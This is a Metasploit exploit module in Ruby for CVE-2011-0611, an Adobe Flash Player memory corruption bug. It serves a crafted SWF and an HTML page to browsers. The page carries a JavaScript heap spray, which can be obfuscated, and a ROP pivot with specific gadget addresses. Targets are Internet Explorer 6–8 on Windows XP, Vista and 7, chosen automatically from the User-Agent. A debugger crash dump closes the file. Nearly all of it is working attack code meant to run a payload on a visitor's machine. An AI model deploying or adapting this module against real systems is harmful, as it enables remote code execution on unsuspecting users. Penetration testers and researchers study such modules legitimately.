##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
        'Description' => %q{
          This module exploits a vulnerability in Adobe Flash Player that was discovered,
          and has been exploited actively in the wild.  By embedding a specially crafted .swf
          file, Adobe Flash crashes due to an invalid use of an object type, which allows
          attackers to overwrite a pointer in memory, and results arbitrary code execution.
          Please note for IE 8 targets, Java Runtime Environment must be available on the
          victim machine in order to work properly.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sinn3r',
        ],
        'References' => [
          [ 'CVE', '2011-0611' ],
          [ 'OSVDB', '71686' ],
          [ 'BID', '47314' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
          [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
          [ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
          [ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
          [ 'URL', 'http://web.archive.org/web/20110417154057/http://secunia.com:80/blog/210/' ],
        ],
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00",
        },
        'DefaultOptions' => {
          'EXITFUNC' => "process",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3',
            {
              'Rop' => false,
              'Pivot' => nil, # No ROP no pivot
              'Offset1' => '0x01',      # For aligning the payload
              'Offset2' => '0x02',      # For aligning the CALL
              'Max1' => '0x150',     # First spray
              'Max2' => '0x200'      # Second spray
            }
          ],
          [
            'IE 7 on Windows XP SP3',
            {
              'Rop' => false,
              'Pivot' => nil, # No ROP no pivot
              'Offset1' => '0x01',      # For aligning the payload
              'Offset2' => '0x02',      # For aligning the CALL
              'Max1' => '0x150',     # First spray
              'Max2' => '0x200'      # Second spray
            }
          ],
          [
            'IE 8 on Windows XP SP3',
            {
              'Rop' => true,
              'Pivot' => 0x7c348b05, # XCHG EAX,ESP; RETN (MSVCR71.dll)
              'Offset1' => '0x5E2',     # Offset for rop+payload
              'Offset2' => '0x02',      # Offset to 0x11111110
              'Max1' => '0x250',     # First spray
              'Max2' => '0x200'      # Second spray
            }
          ],
          [
            'IE 7 on Windows Vista',
            {
              'Rop' => false,
              'Pivot' => nil, # No ROP no pivot
              'Offset1' => '0x01',      # For aligning the payload
              'Offset2' => '0x02',      # For aligning the CALL
              'Max1' => '0x150',     # First spray
              'Max2' => '0x200'      # Second spray
            }
          ],
          [
            'IE 8 on Windows 7',
            {
              'Rop' => true,
              'Pivot' => 0x7c348b05, # XCHG EAX,ESP; RETN (MSVCR71.dll)
              'Offset1' => '0x5F4',     # Offset for rop+payload
              'Offset2' => '0x02',      # Offset to 0x11111110
              'Max1' => '0x101',     # First spray
              'Max2' => '0x300'      # Second spray
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-04-11',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
      ], self.class
    )
  end

  def exploit
    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2011-0611.swf")
    f = File.open(path, "rb")
    @trigger = f.read(f.stat.size)
    f.close
    super
  end

  def get_target(request)
    agent = request.headers['User-Agent']

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
      # Windows XP SP3 + IE 6.0
      return targets[1]
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
      # Windows XP SP3 + IE 7.0
      return targets[2]
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
      # Windows XP SP3 + IE 8.0 + JRE6
      return targets[3]
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
      # Windows Vista + IE 7
      return targets[4]
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
      # Windows 7 + IE 8 + JRE6
      return targets[5]
    else
      return nil
    end
  end

  def on_request_uri(cli, request)
    # Set default target
    my_target = target

    # If user chooses automatic target, we choose one based on user agent
    if my_target.name =~ /Automatic/
      my_target = get_target(request)
      if my_target.nil?
        print_error("Sending 404 for unknown user-agent")
        send_not_found(cli)
        return
      end
      vprint_status("Target selected: #{my_target.name}")
    end

    vprint_status("URL: #{request.uri}")

    if request.uri =~ /\.swf$/
      # Browser requests our trigger file, why not
      print_status("Sending trigger SWF...")
      send_response(cli, @trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
      return
    end

    # Targets that don't need ROP
    pivot = "\xb8\x0c\x0c\x0c\x0c" # MOV EAX,0x0c0c0c0c
    pivot << "\xff\xe0"              # JMP EAX
    pivot << "\x41"                  # Pad

    # Targets that need ROP
    if my_target['Rop']
      # Target Addr=0x11111110
      pivot =
        [
          0x0c0c0c0c,          # Padding. Value for ESP after the XCHG pivot
          my_target['Pivot'],  # ROP Pivot
          0x7c346b52,          # EAX (POP ESP; RETN)
        ].pack('V*')

      # Target Addr=0x0c0c0c0c
      p = generate_rop_payload('java', payload.encoded)
    else
      p = payload.encoded
    end

    arch = Rex::Arch.endian(my_target.arch)

    shellcode = Rex::Text.to_unescape(p, arch)
    pivot = Rex::Text.to_unescape(pivot, arch)

    # Extract string based on target
    if my_target.name == 'IE 8 on Windows 7'
      js_extract_str = "var block = shellcode.substring(0, (0x7ff00-6)/2);"
    elsif my_target.name == 'IE 8 on Windows XP SP3'
      js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
    else
      js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
    end

    randnop = rand_text_alpha(rand(100) + 1)
    js_nops = Rex::Text.to_unescape("\x0c" * 4)

    js = <<-JS
    function heap_spray(heaplib, nops, code, offset, max) {
      while (nops.length < 0x2000) nops += nops;
      var offset = nops.substring(0, offset);
      var shellcode = offset + code + nops.substring(0, 0x2000-code.length-offset.length);
      while (shellcode.length < 0x40000) shellcode += shellcode;
      #{js_extract_str}
      heaplib.gc();
      for (var i=1; i<max; i++) {
        heaplib.alloc(block);
      }
    }

    var heap_obj = new heapLib.ie(0x20000);
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});
    var code = unescape("#{shellcode}");
    heap_spray(heap_obj, nops, code, #{my_target['Offset1']}, #{my_target['Max1']});
    var fake_pointers = unescape("#{pivot}");
    heap_spray(heap_obj, fake_pointers, fake_pointers, #{my_target['Offset2']}, #{my_target['Max2']});
    JS

    js = heaplib(js, { :noobfu => true })

    # Javascript obfuscation is optional
    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf"

    html = <<-EOS
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"
    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
    <param name="movie" value="#{trigger_file_name}" />
    <embed src="#{trigger_file_name}" quality="high" type="application/x-shockwave-flash"
    pluginspage="http://www.macromedia.com/go/getflashplayer">
    </embed>
    </body>
    </html>
    EOS

    html = html.gsub(/^ {4}/, "")

    print_status("Sending HTML to...")
    send_response(cli, html, { 'Content-Type' => "text/html" })
  end
end

=begin
0:000> r
eax=11111110 ebx=00000000 ecx=01d650b0 edx=00000007 esi=0013c2f0 edi=01d650b0
eip=100d01f6 esp=0013c12c ebp=0013c230 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
Flash10o+0xd01f6:
100d01f6 ff5008          call    dword ptr [eax+8]    ds:0023:11111118=????????
0:000> dd ecx
01d650b0  11111110 00000000 00000000 00000000
01d650c0  00000000 00000000 00000000 00000000
01d650d0  00000000 00000000 00000000 00000000
01d650e0  00000000 00000000 00000000 00000000
01d650f0  00000000 00000000 00000000 00000000
01d65100  00000000 00000000 00000000 00000000
01d65110  00000000 00000000 00000000 00000000
01d65120  00000000 00000000 00000000 00000000

=end
